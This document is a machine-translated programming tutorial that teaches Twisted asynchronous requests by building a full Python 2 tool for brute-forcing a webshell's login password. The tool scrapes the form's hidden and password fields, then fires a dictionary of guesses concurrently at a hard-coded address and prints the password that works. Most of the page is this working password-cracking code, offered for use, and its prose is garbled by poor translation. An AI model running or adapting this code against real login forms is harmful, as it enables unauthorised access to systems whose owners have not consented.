Tutorial to implement webshell password scanner using Python's Twisted framework
- 2020-05-09 18:51:36
- OfStack
I have always wanted to learn iocp technology in windows, that is, asynchronous communication, but after a long time of studying other people's c++ version, I found it too abstruse and a little difficult. Fortunately, twisted technology in python is convenient for me.
iocp asynchronous communication techniques, namely windows is now one of the most efficient option in the system, asynchronous communication as the name suggests that as opposed to a synchronous communication, we usually write similar socket. connect accept belong to this category, such as in the same python too urlopen can be synchronous (why mention this, because behind and the concrete implementation of relevant), in a nutshell, we write the most socket at ordinary times, http communications are all synchronous.
The advantage of synchronization is that it is easy to think and write. You know the disadvantage, you know, when you're at connect, when you're at recive, it's going to block, it's going to wait a little bit to move on.
asynchronous is another processing idea, similar to the sax method of xml parsing, in other words, when faced with conncet, recive and other tasks, the program will first execute other code, wait for the network communication results, the system will inform you, and then go back to the place where you just interrupted.
The specific code for is listed below, and I will go into details
1. Page parsing, webshell password automatic post, must involve the problem of page parsing, that is, how to find the appropriate input element in the form form on the page and submit it, including hidden's value and password's dictionary. The implementation relies on SGMLParser
2. For normal page requests, I used urlopen (in order to use cookie, I actually used opener), as shown below
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
resp = opener.open(req, timeout=60)
strlist = resp.read()
code is simple, this is the charm of python, bodyfieleds is the parameter part of post, is a dictionary
3. Asynchronous page request. getpage fragment of twisted is used here as follows:
self.PostDATA[self.passw] = passl
#print temp
zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)
can see how to use getPage to pass the Post parameter, as well as header (cookie is also inside the anti-theft header).
As well as the custom Callback function, you can add and pass in the parameters you need. I used url and pass here
4. Co - procedure concurrency, the code is as follows:
def InitTask(self):
for passl in self.passlist[:]:
d = self.addURL(passl)
yield d
def DoTask(self):
deferreds = []
coop = task.Cooperator()
work = self.InitTask()
for i in xrange(self.ThreadNum):
d = coop.coiterate(work)
deferreds.append(d)
dl = defer.DeferredList(deferreds)
That's it. In terms of efficiency, under the condition of good network communication, 40s can send and receive about 16,000 packets
# -*- coding: utf-8 -*-
#coding=utf-8
#
#
# code by icefish
# http://insight-labs.org/
# http://wcf1987.iteye.com/
#
from twisted.internet import iocpreactor
iocpreactor.install()
from twisted.web.client import getPage
from twisted.internet import defer, task
from twisted.internet import reactor
import os
from httplib import HTTPConnection
import urllib
import urllib2
import sys
import cookielib
import time
import threading
from Queue import LifoQueue
#import httplib2
from sgmllib import SGMLParser
import os
from httplib import HTTPConnection
import urllib
import urllib2
import sys
import cookielib
import time
import threading
from Queue import LifoQueue
from sgmllib import SGMLParser
class URLLister(SGMLParser):
def __init__(self):
SGMLParser.__init__(self)
self.input = {}
def start_input(self, attrs):
#print attrs
for k, v in attrs:
if k == 'type':
type = v
if k == 'name':
name = v
if k == 'value':
value = v
if type == 'hidden' and value != None:
self.input[name] = value
if type == 'password' :
self.input['icekey'] = name
class webShellPassScan(object):
def __init__(self, url, dict):
self.url = url
self.ThreadNum = 10
self.dict = dict
def getInput(self, url):
html, c = self.PostUrl(url, '')
parse = URLLister()
parse.feed(html)
return parse.input
def PostUrl(self, url, bodyfieleds):
try:
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
req = urllib2.Request(url, urllib.urlencode(bodyfieleds))
resp = opener.open(req, timeout=60)
strlist = resp.read()
cookies = []
for c in cj:
cookies.append(c.name + '=' + c.value)
return strlist, cookies
except :
return ''
def parse_page(self, data, url, passk):
#print url
self.TestNum = self.TestNum + 1
if data != self.sret and len(data) != 0 and data != 'iceerror':
self.timeEnd = time.time()
print 'Scan Password End :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeEnd))
print 'total Scan Time:' + str((self.timeEnd - self.timeStart)), 's'
print 'total Scan Passwords:' + str(self.TestNum)
print "*************************the key pass***************************\n"
print passk
print "*************************the key pass***************************\n"
reactor.stop()
if self.TestNum % 1000 == 0:
#print TestNum
sys.stdout.write('detect Password Num:' + str(self.TestNum) + '\n')
sys.stdout.flush()
def fetch_error(self, error, url, passl):
self.addURL(passl)
def run(self):
self.timeStart = 0
self.timeEnd = 0
self.TestNum = 0
self.sret = ''
print '\n\ndetect the WebShell URL:' + self.url
self.PassNum = 0
self.timeStart = time.time()
print 'Scan Password Start :' + time.strftime('%Y-%m-%d %H:%M:%S', time.localtime(self.timeStart))
filepath = os.path.abspath(os.curdir)
file = open(filepath + "\\" + self.dict)
self.passlist = []
for lines in file:
self.passlist.append(lines.strip())
#print lines.strip()
file.close()
PassNum = len(self.passlist)
print 'get passwords num:' + str(PassNum)
inputdic = self.getInput(self.url)
self.passw = inputdic['icekey']
del inputdic['icekey']
self.PostDATA = dict({self.passw:'icekey'}, **inputdic)
self.sret, cookies = self.PostUrl(self.url, self.PostDATA)
self.headers = {'Content-Type':'application/x-www-form-urlencoded'}
self.headers['cookies'] = cookies
print 'cookies:' + str(cookies)
self.DoTask()
#self.DoTask2()
#self.DoTask3()
print 'start run'
self.key = 'start'
reactor.run()
def InitTask(self):
for passl in self.passlist[:]:
d = self.addURL(passl)
yield d
def InitTask2(self):
for passl in self.passlist[:]:
d = self.sem.run(self.addURL, passl)
self.deferreds.append(d)
def InitTask3(self):
for passl in self.passlist[:]:
d = self.addURL(passl)
self.deferreds.append(d)
def DoTask(self):
deferreds = []
coop = task.Cooperator()
work = self.InitTask()
for i in xrange(self.ThreadNum):
d = coop.coiterate(work)
deferreds.append(d)
dl = defer.DeferredList(deferreds)
#dl.addErrback(self.errorCall)
#dl.addCallback(self.finish)
def DoTask2(self):
self.deferreds = []
self.sem = defer.DeferredSemaphore(self.ThreadNum)
self.InitTask2()
dl = defer.DeferredList(self.deferreds)
def DoTask3(self):
self.deferreds = []
self.InitTask3()
dl = defer.DeferredList(self.deferreds)
def addURL(self, passl):
self.PostDATA[self.passw] = passl
#print temp
zs = getPage(self.url, method='POST', postdata=urllib.urlencode(self.PostDATA), headers=self.headers)
zs.addCallback(self.parse_page, self.url, passl).addErrback(self.fetch_error, self.url, passl)
return zs
a = webShellPassScan('http://192.168.0.2:8080/f15.jsp', 'source_new.txt')
a.run()